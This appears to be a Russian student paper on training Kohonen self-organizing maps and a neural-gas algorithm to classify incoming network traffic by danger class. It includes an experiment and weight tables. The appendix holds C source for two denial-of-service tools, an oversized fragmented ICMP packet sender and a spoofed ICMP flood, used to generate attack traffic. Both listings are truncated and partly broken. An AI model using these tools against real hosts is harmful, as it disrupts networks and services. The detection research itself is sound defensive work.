Алгоритм обучения карты Кохонена

Способы нормализации исходных данных

Для успешного обучения и функционирования нейронной сети Кохонена желательно, чтобы диапазоны изменения наблюдаемых величин не отличались друг от друга или отличались незначительно. Это требуется для того чтобы предотвратить чрезмерный вклад компонента исходных данных с широким диапазоном в модификацию весов.

Наиболее распространенным способы нормализации является масштабирование исходных данных в некоторый диапазон:

Формула (4.1) осуществляет масштабирование в диапазон [0;1]. Формула (4.2) – в диапазон [-1;1].

Расчетные значения параметра, полученные в результате функционирования нейросети, масштабируются в диапазон [min(p); max(p)] при помощи обратных формул.

2.3.4 Механизм утомления

При инициализации весов сети случайным образом часть нейронов может оказаться в области пространства, в которой отсутствуют данные или их количество ничтожно мало. Эти нейроны имеют мало шансов на победу и адаптацию своих весов, поэтому они остаются мёртвыми. Таким образом, входные данные будут интерпретироваться меньшим количеством нейронов (мёртвые нейроны не принимают участие в анализе), а погрешность интерпретации данных, иначе называемая погрешностью квантования, увеличится. Поэтому важной проблемой становиться активация всех нейронв сети.

Такую активацию можно осуществить, если в алгоритме обучения предусмотреть учёт количества побед каждого нейрона, а процесс обучения организовать так, чтобы дать шанс победить и менее активным нейронам. Такой способ учёта активности нейронов будет называться в дальнейшем механизмом утомления.

Существуют различные механизмы учёта активности нейронов в процессе обучения. Часто используется метод подсчёта потенциала pi каждого нейрона, значение которого модифицируется всякий раз после представления очередной реализации входного вектора x в соответствии со следующей формулой (в ней предполагается, что победителем стал w-й нейрон):

Значение коэффициента pmin определяет минимальный потенциал, разрешающий участие в конкурентной борьбе. Если фактическое значение потенциала pi падает ниже pmin, i-й нейрон “отдыхает”, а победитель ищется среди нейоронов, для которых выполняется отношение

для 1<=i<=N и pi>=pmin. Максимальное значение потенциала ограничивается на уровне, равном 1. Выбор конкретного pmin позволяет установить порог готовности нейрона к конкурентной борьбе. При pmin=0 утомляемость нейронов не возникает, и каждый из них сразу после победы будет готов к продолжению соперничества. При Pmin=1 возникает другая крайность, вследствие которой нейроны побеждают по очереди, так как в каждый момент времени только один из них оказывается готовым к соперничеству. На практике хорошие результаты достигаются, когда pmin=0.75.

Алгоритм обучения карты Кохонена

Основным отличием данной технологии от наиболее распространенного обучения методом обратного распространения, является то, что обучение проходит без учителя, то есть результат обучения зависит только от структуры входных данных.

Алгоритм функционирования самообучающихся карт Алгоритм SOM подразумевает использование упорядоченной структуры нейронов. Обычно используются одно и двумерные сетки. При этом каждый нейрон представляет собой n-мерный вектор-столбец своих весовых коэффициентов:

где n определяется размерностью исходного пространства (размерностью входных векторов). Применение одно и двумерных сеток связано с тем, что возникают проблемы при отображении пространственных структур большей размерности.

Обычно нейроны располагаются в узлах двумерной сетки с прямоугольными или шестиугольными ячейками. При этом, нейроны также взаимодействуют друг с другом. Величина этого взаимодействия определяется расстоянием между нейронами на карте. На рисунке даны примеры расстояний для шестиугольной и четырехугольной сеток.

При этом легко заметить, что для шестиугольной сетки расстояние между нейронами больше совпадает с евклидовым расстоянием, чем для четырехугольной сетки. Количество нейронов в сетке определяет степень детализации результата работы алгоритма, и, в конечном счете, от этого зависит точность обобщающей способности карты.

Рис.4 – Расстояние между нейронами на шестиугольной (а) и четырехугольной (б) сетках

Перед началом обучения карты необходимо проинициализировать весовые коэффициенты нейронов. Удачно выбранный способ инициализации может существенно ускорить обучение, и привести к получению более качественных результатов. Существуют два основных способа инициирования начальных весов:

· Инициализация случайными значениями - всем весам даются малые случайные величины.

· Инициализация примерами – всем весам в качестве начальных значений задаются значения случайно выбранных примеров из обучающей выборки.

Обучение состоит из последовательности коррекций векторов, представляющих собой нейроны. На каждом шаге обучения из исходного набора данным случайно выбирается один из векторов (обозначим его х), а затем производится поиск наиболее схожего с ним вектора коэффициентов нейронов. При этом выбирается нейрон-победитель, который наиболее схожий с вектором входов. Под «схожестью» в данной задаче понимается некоторая метрика, заданная в пространстве входных векторов. В качестве метрики обычно используется расстояние в евклидовом пространстве. Узел нейрона-победителя для входного вектора после обучения нейросети называется «наиболее подходящим узлом» (Best Matching Unit – BMU).

Таким образом, если обозначить нейрон-победитель номером c, то:

После того, как найден нейрон-победитель, производится корректировка весов нейросети. При этом вектор, описывающий нейрон-победитель и вектора, описывающие его соседей в сетке, перемещаются в направлении входного вектора. Это проиллюстрировано на рисунке для двумерного вектора.

Рис.5 – Подстройка весов нейрона победителя и его соседей

При этом для модификации весовых коэффициентов используется формула:

где t обозначает номер эпохи (номер итерации обучения).

Функция h(t) называется функцией соседства нейронов. Эта функция представляет собой невозрастающую функцию от времени и расстояния между нейроном-победителем и соседними нейронами в сетке. Эта функция разбивается на две части: собственно функцию расстояния и функции скорости обучения от времени:

где r – координаты нейрона в сетке.

Обычно применяется одна из двух функций от расстояния: простая константа:

или Гауссова функция:

При этом является убывающей функцией от времени. Эту величину называют радиусом обучения. Он выбирается достаточно большим на начальном этапе обучения и постепенно уменьшается так, что в конечном итоге обучается один нейрон-победитель. Наиболее часто используется функция, линейно убывающая от времени.

Функция скорости обучения также представляет собой функцию, убывающую от времени. Наиболее часто используются два варианта этой функции: линейная и обратно пропорциональная времени вида:

где A и B это константы. Применение этой функции приводит к тому, что все вектора из обучающей выборки вносят примерно равный вклад в результат обучения.

Обучение состоит из двух основных фаз: на первоначальном этапе выбирается достаточно большое значение скорости обучения и радиуса обучение, что позволяет расположить вектора нейронов в соответствии с распределением примеров в выборке, а затем производится точная подстройка весов, когда значения параметров скорости обучения много меньше начальных.

2.3.6 Алгоритм нейронного газа

В этом алгоритме на каждой итерации все нейроны сортируются в зависимости от их расстояния до вектора x. После сортировки нейроны размечаются в последовательности, соответствующей увеличению удалённости.

где dk=|x-wm(i)| обозначает удалённость i-того нейрона, занимающего в результате сортировки m-ю позицию в последовательности, возглавляемой нейроном-победителем, которому сопоставлена удаленность d0. Значение функции соседства для i-того нейрона G(i,x) определяется по формуле:

в которой m(i) обозначает очерёдность, полученную в результате сортировки (m(i)=1,2,3,…,n-1), а лямбда - параметр, аналогичный уровню соседства в алгоритме Кохонена, уменьшающийся с течением времени. При лямбда =0 адаптации подвергается только нейрон-победитель, и алгоритм превращается в обычный алгоритм WTA, но при уточнению подлежат веса многих нейронов, причём уровень уточнения зависит от величины G(i,x).

Для достижения хороших результатов самоорганизации процесс обучения должен начинаться с большого значения лямбда, однако с течением времени его величина уменьшается до нуля.

3. Формализация задачи

В качестве группы пакетов, выступающих в качестве обучающего примера, возьмём 10 подряд идущих поступающих на рабочую станцию пакетов. Для построения модели оценим в каждой группе следующие параметры:

1.Число пакетов поступивших от хостов “своей” ЛВС.

2.Число фрагментированных пакетов.

3.Число TCP-пакетов.

4.Число UDP-пакетов.

5.Максимальное число пакетов в группе, пришедших от одного из хостов-отправителей.

6.Принадлежность хоста, отправителя наибольшего числа пакетов. (1 - “своя” ЛВС, 0 - иначе)

7.Средняя загрузка процессора (без учёта приложений не связанных с сетью). (%)

8.Изменение загрузки процессора с времени получения первого пакета до времени получения последнего пакета (без учёта приложений не связанных с сетью).(%)

9.Средний размер пакета. (байт)

10.Число пакетов размером в интервале с 0.8*x до 1.2*x, где x – средний размер пакета.

11. Число доступных хостов.

12. Число различных хостов.

Вышеперечисленные параметры будут являться входами модели. Пользователю следует определить размер карты Кохонена, а также параметры настройки нейронной сети. Остаётся только сгенерировать различные пакеты TCP, UDP и ICMP как обычные, так и “хакерские”, и переслать их на хост, ведущий журнал входящих пакетов и их параметров. Из данного журнала пакеты объединяются в группы (10 последовательно идущих пакетов). Для каждой группы определяются выделенные интегральные критерии.

Полученные данные служат для самообучения сети.

4. Эксперимент

На локальную станцию (192.168.0.3) поступают следующие пакеты:

TCP – обычные пакеты от станций собственной ЛВС. Соединение происходит в обычном режиме. Передача файлов.

ICMP – обычные пакеты, “проверка связи”.

UDP – обычные пакеты от станций ЛВС, обмен данными между приложениями BroodWar, Blizzard Intertainment.

TCP – обычные пакеты от хостов, на принадлежащих “своей” ЛВС, передача файлов.

TCP – “хакерские” пакеты. Паническая атака.

ICMP – пакеты, являющиеся следствием широковещательного шторма.

UDP – “хакерские” пакеты (посылка широковещательного шторма).

TCP – “хакерские” пакеты, фрагментрованные и не связанные между собой (aтака на файрфолл).

Эксперимент представляет собой посылку и запоминание чередующихся обычных и “опасных” пакетов. Причём в группе, относящийся к классу зарождающейся атаки, могут присутствовать и совершенно безвредные пакеты с данными и сообщениями. Того как заранее определённое число пакетов было получено и после предобработки в группы произошло обучение модели, необходимо произвести визуализацию карты Кохонена. На карте, состоящей из квадратов, где за каждый квадрат отвечает один нейрон, производится заливка в зависимости от класса опасности. Нейроны, отвечающие за класс - тотальная атака (большое число опасных пакетов), окрашиваются в более тёмно красные цвета, нейроны, классифицирующие обычную работу станции в сети (приём-передача данных), окрашены в более нейтральные цвета.

5. Результаты работы модели

1.Стандартный алгоритм Кохонена. Карта 10*10 нейронов.

Рис.5 Визуализация карты Кохонена при обучении стандартным алгоритмом Кохонена

Из-за того что многие нейроны после обучения остались мертвыми нейронная сеть имеет высокую погрешность квантования.

Самые опасные классы характеризуются следующими параметрами: небольшие по размеру пакеты, значительное количество пакетов одного типа, например только ICMP или UDP, и одного размера, во время получения этих групп пакетов происходит существенная загрузка процессора, значительная часть хостов - отправителей не доступны. Другим опасным классом является кластер с большими по размерам фрагментированными пакетами.

2.Стандартный алгоритм Кохонена с учётом соседства. Карта 10*10 нейронов.

Рис.6 Визуализация карты Кохонена при обучении стандартным алгоритмом Кохонена с учётом соседства

Из-за подстройки большего числа нейронов значительная часть нейронов – “живая”. Погрешность квантования значительно ниже. Визуально прослеживается группирование опасных групп пакетов. Между двумя основными очагами опасности (в левом и правом углах карты) расположены группы пакетов соответствующие безопасной передаче.

3.Обучение карты признаков с механизмом утомления. Карта 10*10 нейронов.

Рис.7 Визуализация карты Кохонена при обучении с использованием механизма утомления.

4. Обучение карты признаков с механизмом утомления и подстройкой соседей. Карта 10*10 нейронов.

Рис.8 Визуализация карты Кохонена при обучении обучении с использованием механизма утомления и подстройкой соседей.

5.Алгоритм нейронного газа.=

Рис.9 Визуализация карты Кохонена при обучении. Алгоритмом нейронного газа

Большой разброс по карте различных цветов объясняется самим алгоритмом обучения: здесь соседство нейронов не зависит от расположения нейронов на карте признаков.

Кроме визуализации карты важны также значения синаптических весов. Синаптический вес W0=1- поляризация нейрона.

Пример.1

Рис.10 Карта Кохонена. 5*5 нейронов.

Ниже даны значения синаптических весов для каждого из “живых” нейронов.

Нейрон 0 7,87128697398845 0,625510201518193 2,7803597528978 1,89207931247814 3,29053079148225 0,846173185063035 13,5345966850206 7,0865225491331 129,307664502201 1,40585258052631 9,01013368873421	Нейрон 1 7,15478814257012 0,80038505604928 3,4657135681091 2,14143521744823 3,44359875511805 0,776338372597683 12,9441507600633 5,13478248587067 183,45652320823 0,892269137377325 8,8894329158617	Нейрон 2 6,51072352952404 0,992340068508278 4,06763582460853 2,78810515781772 3,8079162430252 0,67583544535221 11,7697105357889 1,88885822746819 277,625057718703 0,489223807498444 9,01986066715186	Нейрон 3 5,89443270744136 1,07835225630037 5,00871505425791 3,21406653769472 4,05965826713145 0,688612599435516 9,64055979833943 0,176019982013541 349,212505651654 0,307102637433364 8,2882446272146
Нейрон 4 5,70325599064924 1,50203934884403 5,48238703058519 2,857530344957 4,1045922884135 0,559367823973787 9,80870961032371 -2,51748577298294 388,707709851468 0,360064195846817 8,67487120799402	Нейрон 6 6,98662538009356 0,943325646563848 3,76316661580884 2,28074699102588 3,84435226155865 0,675295943164295 13,1166889150889 2,5894675318043 232,422065671803 0,578616436145349 9,30231795759802	Нейрон 7 6,4383154761932 1,30743427921713 4,43322764797434 2,5712769815738 4,015643912254 0,585958396325411 11,4384134686756 0,295227565032279 308,441204991856 0,436934279428607 9,22429249868916	Нейрон 8 6,2914496789632 1,49510940329358 5,16485493868028 2,94683540727014 4,26732605590749 0,59451625983309 10,9123469737949 -2,32327270509521 397,564552174538 0,581383154548032 9,07977817163535
Нейрон 9 5,78995420800614 1,73921623428801 5,64413639879408 2,83323796423943 4,40990583312066 0,500543095760549 11,1144609757214 -5,73252740367375 449,019038281951 0,657035152619139 9,23115369270226	Нейрон 10 6,97268621817446 0,79277691809128 4,02543058948051 2,46523221397023 3,77806690364019 0,676526389633808 13,8202281014187 0,469769683982962 259,238919476768 0,757542791254212 9,28309047834848	Нейрон 11 7,04631978115591 0,866271976699346 4,10365456015304 2,88223720882954 4,03150518348344 0,741278370899166 13,8559400919982 -1,255919505345 293,322921366235 0,704152207962319 9,48440166138134	Нейрон 12 6,53912681147659 1,56421780805537 4,65601147347958 2,9067904818665 4,27363452636153 0,618578255936595 12,5822623306945 -2,08418808911294 374,872439162492 0,774431791221968 9,54008041266804
Нейрон 13 5,69340841412797 2,44796836439865 5,48622818955848 2,92237813180815 4,67788797387526 0,423401926734283 12,1938129780133 -3,92356491480928 497,650849296462 1,22621001209077 9,58796185267328	Нейрон 14 5,10226147046721 2,74988223156105 5,9342783502907 2,83173118981968 4,95695609620259 0,316516196981386 12,0153591762438 -5,69212277788297 553,351005991353 1,42911651866737 9,61230903245157	Нейрон 15 6,98052845303821 1,22279827555202 4,46220766547028 2,90189348319595 4,15096271989555 0,718494733032167 13,8462699925973 -0,265034800167613 329,133144315137 0,789272703113608 9,41327311392812	Нейрон 16 6,78108488859872 1,4587788312988 4,75098402281347 2,99715775219415 4,35524349138507 0,688106328846737 13,146546408368 -1,83766433492922 378,789970538933 0,911094890831572 9,47688044148138
Нейрон 17 5,9813392597355 2,59141112244731 5,42222552146448 2,88984764450358 4,90655379368435 0,558857955310756 12,3129769708837 -1,59557885143347 509,639060778038 1,46442141785324 9,64035319482989	Нейрон 18 4,37316852020513 3,93024605710541 6,35532277636607 2,54556862325942 5,71566995847879 0,301720400062721 12,1338787032946 -0,810932403256381 666,82904006035 2,40887775038786 9,71260136248531	Нейрон 19 3,82835833175608 4,14740478540821 6,51201817449346 2,53488453447905 5,87186670401515 0,209331814630084 12,1270372594924 -1,30049493872786 704,444674316111 2,25030241452771 9,65725372019714	Нейрон 21 6,39813422562582 2,08493929159042 5,32829499657161 3,06032597511598 4,7641814353147 0,582189552264411 12,5599245219555 -1,96191395295381 469,290874929838 1,22613369905861 9,46669357056521
Нейрон 23 3,55908012277478 4,77646016724021 6,74861021282903 2,41585236193159 6,31871793270481 0,255152204011248 12,1980038558062 1,93696746210735 759,876377313462 2,82715213468638 9,64367900062772	Нейрон 24 3,37428950504548 4,73559755878779 6,67504947616927 2,51158813130044 6,22501279809869 0,20990156336746 12,1086739774428 1,00744771459805 778,544161691368 2,27296953057915 9,5765164059112

Табл. 1. Весовые коэффициенты нейронов карты Кохонена для примера 1.

Заключение

В результате проделанной работы создана интеллектуальная система анализа входящего трафика по классам опасности. Система построена на использовании нейронной сети конкурирующего типа. Реализовано обучение сети пятью методами самоорганизации: классический (с настройкой соседей и без неё), механизм утомления (с настройкой соседей и без неё) и алгоритм нейронного газа. В качестве обучающей выборки были использованы данные из журнала входящего трафика, содержащие как пакета передачи данных и управляющие пакеты, так и “опасные” пакеты направленные на нарушение работы хоста (атака для создания доверительного TCP – соединения, лавинное заваливание ICMP и UDP пакетами, передача крупных несвязанных фрагментированных пакетов). Входящие пакеты объединялись в группы и для каждой из групп определялись интегральные критерии на принадлежность к классу опасности. В результате самообучения нейронной сети создан классификатор входящих пакетов.

Список используемой литературы

1. Джон Чирилло. Обнаружение хакерских атак. Для профессионалов (+CD). – СПб.: Питер 2003. – 864 с.: ил.

2. И.Д. Медведовский, П.В. Семьянов, В.В. Платонов. Атака через Internet. Москва. НПО "Мир и семья-95" - 1997 3.Арсеньев С. “Извлечение данных из медицинских баз данных”

4. Круглов В.В., Борисов В.В. “Искусственные нейронные сети. Теория и практика”. –2-е изд., стереотип. - Москва: Горячая линия – Телеком, 2002 г. – 382 с.: ил.

5. Горбань А.Н., Россиев Д.А. “Нейронные сети на персональном компьютере” – Новосибирск: Наука. Сибирская издательская фирма РАН, 1996 г. –276 с.: ил.

6. Ф. Уоссерман “Нейрокомпьютерная техника: теория и практика” – Москва.: Мир, 1992 –182 стр.: ил.

7. Корнеев В.В., Гареев А.Ф., Васютин С.В., Райх В.В. “Базы данных. Интеллектуальная обработка информации” – Москва.: “Нолидж”, 2000 г., - 356с.: ил.

8. Осовский Станислав. Нейронные сети для обработки информации. М: Финансы и статистика. 2002 г. –335 с: ил.

9. Назаров А.В., Лоскутов А.И. Нейросетевые алгоритмы прогнозирования и оптимизации систем. Санкт-Петергург, Наука и техника. 2003 г. -

Листинг программ

1.Атака лавинного типа (запрос на создание TCP-соедиения)

#include <stdio.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <netdb.h>

#include <netinet/in.h>

#include <netinet/in_systm.h>

#include <netinet/ip.h>

#include <netinet/ip_icmp.h>

#ifdef REALLY_RAW

#define FIX(x) htons(x)

#else

#define FIX(x) (x)

#endif

int

main(int argc, char **argv)

{

int s;

char buf[1500];

struct ip *ip = (struct ip *)buf;

struct icmp *icmp = (struct icmp *)(ip + 1);

struct hostent *hp;

struct sockaddr_in dst;

int offset;

int on = 1;

bzero(buf, sizeof buf);

if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_IP)) < 0) {

perror("socket");

exit(1);

}

if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) {

perror("IP_HDRINCL");

exit(1);

}

if (argc!= 2) {

fprintf(stderr, "usage: %s hostname\n", argv[0]);

exit(1);

}

if ((hp = gethostbyname(argv[1])) == NULL) {

if ((ip->ip_dst.s_addr = inet_addr(argv[1])) == -1) {

fprintf(stderr, "%s: unknown host\n", argv[1]);

}

} else {

bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length);

}

printf("Sending to %s\n", inet_ntoa(ip->ip_dst));

ip->ip_v = 4;

ip->ip_hl = sizeof *ip >> 2;

ip->ip_tos = 0;

ip->ip_len = FIX(sizeof buf);

ip->ip_id = htons(4321);

ip->ip_off = FIX(0);

ip->ip_ttl = 255;

ip->ip_p = 1;

ip->ip_sum = 0; /* kernel fills in */

ip->ip_src.s_addr = 0; /* kernel fills in */

dst.sin_addr = ip->ip_dst;

dst.sin_family = AF_INET;

icmp->icmp_type = ICMP_ECHO;

icmp->icmp_code = 0;

icmp->icmp_cksum = htons(~(ICMP_ECHO << 8));

/* the checksum of all 0's is easy to compute */

for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof *ip)) {

ip->ip_off = FIX(offset >> 3);

if (offset < 65120)

ip->ip_off |= FIX(IP_MF);

else

ip->ip_len = FIX(418); /* make total 65538 */

if (sendto(s, buf, sizeof buf, 0, (struct sockaddr *)&dst,

sizeof dst) < 0) {

fprintf(stderr, "offset %d: ", offset);

perror("sendto");

}

if (offset == 0) {

icmp->icmp_type = 0;

icmp->icmp_code = 0;

icmp->icmp_cksum = 0;

}

Листинг 2. Атака лавинного типа подменёнными ICMP – пакетами.

#include <sys/types.h>

#include <sys/socket.h>

#include <stdio.h>

#include <unistd.h>

#include <stdlib.h>

#include <string.h>

#include <netdb.h>

#include <netinet/ip.h>

#include <netinet/in.h>

#include <netinet/ip_icmp.h>

#define IPHDRSIZE sizeof(struct iphdr)

#define ICMPHDRSIZE sizeof(struct icmphdr)

#define VIRGIN "1.1"

void version(void) {

printf("flood %s - by FA-Q\n", VIRGIN);

}

void usage(const char *progname)

{

printf("usage: %s [-fV] [-c count] [-i wait] [-s packetsize] <target> <broadcast>\n",progname);

}

unsigned char *dest_name;

unsigned char *spoof_name = NULL;

struct sockaddr_in destaddr, spoofaddr;

unsigned long dest_addr;

unsigned long spoof_addr;

unsigned pingsize, pingsleep, pingnmbr;

char flood = 0;

unsigned short in_cksum(addr, len)

u_short *addr;

int len;

{

u_short answer = 0;

while (nleft > 1) {

sum += *w++;

nleft -= 2;

}

if (nleft == 1) {

*(u_char *)(&answer) = *(u_char *)w;

sum += answer;

}

sum = (sum >> 16) + (sum & 0xffff);

sum += (sum >> 16);

answer = ~sum;

return(answer);

}

int resolve(const char *name, struct sockaddr_in *addr, int port)

{

struct hostent *host;

bzero((char *)addr,sizeof(struct sockaddr_in));

if ((host = gethostbyname(name)) == NULL) {

fprintf(stderr,"%s will not resolve\n",name);

perror(""); return -1;

}

addr->sin_family = host->h_addrtype;

memcpy((caddr_t)&addr->sin_addr,host->h_addr,host->h_length);

addr->sin_port = htons(port);

return 0;

}

unsigned long addr_to_ulong(struct sockaddr_in *addr)

{

return addr->sin_addr.s_addr;

}

int resolve_one(const char *name, unsigned long *addr, const char *desc)

{

struct sockaddr_in tempaddr;

if (resolve(name, &tempaddr,0) == -1) {

printf("%s will not resolve\n",desc);

return -1;

}

*addr = tempaddr.sin_addr.s_addr;

return 0;

}

int resolve_all(const char *dest,

const char *spoof)

{

if (resolve_one(dest,&dest_addr,"dest address")) return -1;

if (spoof!=NULL)

if (resolve_one(spoof,&spoof_addr,"spoof address")) return -1;

spoofaddr.sin_addr.s_addr = spoof_addr;

spoofaddr.sin_family = AF_INET;

destaddr.sin_addr.s_addr = dest_addr;

destaddr.sin_family = AF_INET;

}

void give_info(void)

{

printf("\nattacking (%s) from (%s)\n",inet_ntoa(spoof_addr),dest_name);

}

int parse_args(int argc, char *argv[])

{

int opt;

char *endptr;

while ((opt=getopt(argc, argv, "fc:s:i:V"))!= -1) {

switch(opt) {

case 'f': flood = 1; break;

case 'c': pingnmbr = strtoul(optarg,&endptr,10);

if (*endptr!= '\0') {

printf("%s is an invalid number '%s'.\n", argv[0], optarg);

return -1;

}

break;

case 's': pingsize = strtoul(optarg,&endptr,10);

if (*endptr!= '\0') {

printf("%s is a bad packet size '%s'\n", argv[0], optarg);

return -1;

}

break;

case 'i': pingsleep = strtoul(optarg,&endptr,10);

if (*endptr!= '\0') {

printf("%s is a bad wait time '%s'\n", argv[0], optarg);

return -1;

}

break;

case 'V': version(); break;

case '?':

case ':': return -1; break;

}

if (optind > argc-2) {

return -1;

}

if (!pingsize)

pingsize = 28;

else

pingsize = pingsize - 36;

if (!pingsleep)

pingsleep = 100;

spoof_name = argv[optind++];

dest_name = argv[optind++];

return 0;

}

inline int icmp_echo_send(int socket,

unsigned long spoof_addr,

unsigned long t_addr,

unsigned pingsize)

{

unsigned char packet[5122];

struct iphdr *ip;

struct icmphdr *icmp;

struct iphdr *origip;

unsigned char *data;

int i;

ip = (struct iphdr *)packet;

icmp = (struct icmphdr *)(packet+IPHDRSIZE);

origip = (struct iphdr *)(packet+IPHDRSIZE+ICMPHDRSIZE);

data = (char *)(packet+pingsize+IPHDRSIZE+IPHDRSIZE+ICMPHDRSIZE);

memset(packet, 0, 5122);

ip->version = 4;

ip->ihl = 5;

ip->ttl = 255-random()%15;

ip->protocol = IPPROTO_ICMP;

ip->tot_len = htons(pingsize + IPHDRSIZE + ICMPHDRSIZE + IPHDRSIZE + 8);

bcopy((char *)&destaddr.sin_addr, &ip->daddr, sizeof(ip->daddr));

bcopy((char *)&spoofaddr.sin_addr, &ip->saddr, sizeof(ip->saddr));

ip->check = in_cksum(packet,IPHDRSIZE);

origip->version = 4;

origip->ihl = 5;

origip->ttl = ip->ttl - random()%15;

origip->protocol = IPPROTO_TCP;

origip->tot_len = IPHDRSIZE + 30;

origip->id = random()%69;

bcopy((char *)&destaddr.sin_addr, &origip->saddr, sizeof(origip->saddr));

origip->check = in_cksum(origip,IPHDRSIZE);

*((unsigned int *)data) = htons(pingsize);

icmp->type = 8; /* why should this be 3? */

icmp->code = 0;

icmp->checksum = in_cksum(icmp,pingsize+ICMPHDRSIZE+IPHDRSIZE+8);

return sendto(socket,packet,pingsize+IPHDRSIZE+ICMPHDRSIZE+IPHDRSIZE+8,0,

(struct sockaddr *)&destaddr,sizeof(struct sockaddr));

}

void main(int argc, char *argv[])

{

int s, i;

int floodloop;

if (parse_args(argc,argv))

{

usage(argv[0]);

return;

}

resolve_all(dest_name, spoof_name);

give_info();

s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);

if (!flood)

{

if (icmp_echo_send(s,spoof_addr,dest_addr,pingsize) == -1)

{

printf("%s error sending packet\n",argv[0]); perror(""); return;

}

else

{

floodloop = 0;

if (pingnmbr && (pingnmbr > 0))

{

printf("sending... packet limit set\n");

for (i=0;i<pingnmbr;i++)

{

if (icmp_echo_send(s,spoof_addr,dest_addr,pingsize) == -1)

{

printf("%s error sending packet\n",argv[0]); perror(""); return;

}

usleep((pingsleep*1000));

if (!(floodloop = (floodloop+1)%25))

{ fprintf(stdout,"."); fflush(stdout);

}

printf("\ncomplete, %u packets sent\n", pingnmbr);

}

else {

printf("flooding, (. == 25 packets)\n");

for (i=0;i<1;i)

{

if (icmp_echo_send(s,spoof_addr,dest_addr,pingsize) == -1)

{

printf("%s error sending packet\n",argv[0]); perror(""); return;

}

usleep(900);

if (!(floodloop = (floodloop+1)%25))

{ fprintf(stdout,"."); fflush(stdout);

}

Листинг 3. Самоорганизующаяся карта признаков.

TNeuron = class

public

IntVal: TIntArray;

ExtVal: TExtArray;

Pos: Extended;

Status: Extended;

Y: Extended;

MassWeight: Array of Extended;

constructor Init(a: PIntArray; b: PExtArray);

function FunctionActivation: Extended;

procedure GetAksonValue(a: PExtArray);

procedure Randomization;

procedure Distantion(a: PExtArray);

end;

TLayer = class

public

ExtArr: TExtArray;

Neurons: Array of TNeuron;

QNeurons: integer;

QInputs: integer;

InputValues: Array of Extended;

OutputValues: Array of Extended;

constructor Init(a: PIntArray; b: PExtArray);

procedure GetInputValues(Values: PExtArray);

procedure GetOutputValues;

procedure Excitement;

procedure randomization;

end;

TKohonenLayer = class(TLayer)

public

eta,sigma: Extended;

h,w: Word;

constructor Init(a: PIntArray; b: PExtArray);

procedure Normalize;

function TheWinnerTakesItAll: integer;

function Classic: integer;

procedure Learning(a: integer; SpeedLearn: Extended);

procedure LearningNeib(a: integer; SpeedLearn: Extended);

procedure SigmaInit(s: Extended);

procedure ConvexCombination(delta: Extended);

procedure NeuralGaz(SpeedLearn: Extended);

end;

procedure TKohonenLayer.SigmaInit(s: Extended);

begin

Sigma:=s;

end;

procedure TKohonenLayer.ConvexCombination(delta: Extended);

var i: integer;

begin

eta:=eta+delta;

sigma:=sigma+0.1-10*delta;

for i:=0 to QInputs-1 do InputValues[i]:=InputValues[i]*eta+(1-eta)/sqrt(QInputs);

end;

constructor TKohonenLayer.Init(a: PIntArray; b: PExtArray);

var i: integer;

New: TIntArray;

begin

Inherited Init(a,b);

New:=a^;

H:=New.Value[3];

W:=Round(New.Value[2]/New.Value[3]);

Randomization;

for i:=0 to New.Value[2]-1 do Neurons[i].Pos:=3.75;

eta:=0;

end;

procedure TKohonenLayer.Normalize;

var i: integer;

Sum: Extended;

begin

Sum:=0;

for i:=0 to QInputs-1 do Sum:=Sum+Sqr(InputValues[i]);

for i:=0 to QInputs-1 do

InputValues[i]:=InputValues[i]/Sqrt(Sum);

end;

function TKohonenLayer.TheWinnerTakesItAll: integer;

var i,p: integer;

Min: Extended;

begin

Min:=Neurons[0].Y;

p:=0;

for i:=1 to QNeurons-1 do

begin

if Neurons[i].Pos>0.75 then

if Min>Neurons[i].Y then

begin

p:=i;

Min:=Neurons[i].Y;

end;

for i:=0 to QNeurons-1 do Neurons[i].Y:=0;

for i:=0 to QNeurons-1 do

if i=p then Neurons[i].Pos:=Neurons[i].Pos-0.75

else Neurons[i].Pos:=Neurons[i].Pos+1/QNeurons;

Neurons[p].Y:=1;

GetOutputValues;

TheWinnerTakesItAll:=p;

end;

function TKohonenLayer.Classic: integer;

var i,p: integer;

Min: Extended;

begin

Min:=Neurons[0].Y;

p:=0;

for i:=1 to QNeurons-1 do

begin

if Min>Neurons[i].Y then

begin

p:=i;

Min:=Neurons[i].Y;

end;

for i:=0 to QNeurons-1 do Neurons[i].Y:=0;

Neurons[p].Y:=1;

GetOutputValues;

Classic:=p;

end;

procedure TKohonenLayer.Learning(a: integer; SpeedLearn: Extended);

var i: integer;

begin

for i:=1 to QInputs do

Neurons[a].MassWeight[i]:=Neurons[a].MassWeight[i]+

SpeedLearn*(InputValues[i-1]-Neurons[a].MassWeight[i]);

end;

procedure TKohonenLayer.LearningNeib(a: integer; SpeedLearn: Extended);

var i,j: integer;

begin

for j:=0 to QNeurons-1 do

begin

for i:=1 to QInputs do

Neurons[j].MassWeight[i]:=Neurons[j].MassWeight[i]+

exp(-(Sqr((j div w)-(a div w)) + Sqr((j mod h)-(a mod h)))/(2*Sqr(sigma)))

*SpeedLearn*(InputValues[i-1]-Neurons[j].MassWeight[i]);

end;

procedure TKohonenLayer.NeuralGaz(SpeedLearn: Extended);

var i,j,k,p: integer;

Mass: Array of Extended;

Min: Extended;

begin

SetLength(Mass,QNeurons);

for i:=0 to QNeurons-1 do Mass[i]:=-1;

p:=0;

for i:=0 to QNeurons-1 do

begin

p:=p+1;

Min:=999999;

k:=-1;

for j:=0 to QNeurons-1 do

begin

if Neurons[j].Y<Min then

if Mass[j]=-1 then

begin

k:=j;

Min:=Neurons[j].Y;

end;

Mass[k]:=p;

end;

for j:=0 to QNeurons-1 do

begin

for i:=1 to QInputs do

Neurons[j].MassWeight[i]:=Neurons[j].MassWeight[i]+

exp(-Mass[j]/Sigma)*SpeedLearn*(InputValues[i-1]-Neurons[j].MassWeight[i]);

end;

constructor TNeuron.Init(a: PIntArray; b: PExtArray);

var

New: TIntArray;

begin

New:=a^;

ExtVal:=b^;

IntVal:=TIntArray.Init(2);

IntVal.Value[0]:=New.Value[0]+1;

IntVal.Value[1]:=New.Value[1];

SetLength(MassWeight,IntVal.Value[0]);

if IntVal.Value[0]>0 then MassWeight[0]:=0;

Status:=0;

Y:=0;

Pos:=0;

end;

procedure TNeuron.GetAksonValue(a: PExtArray);

var

i: integer;

b: TExtArray;

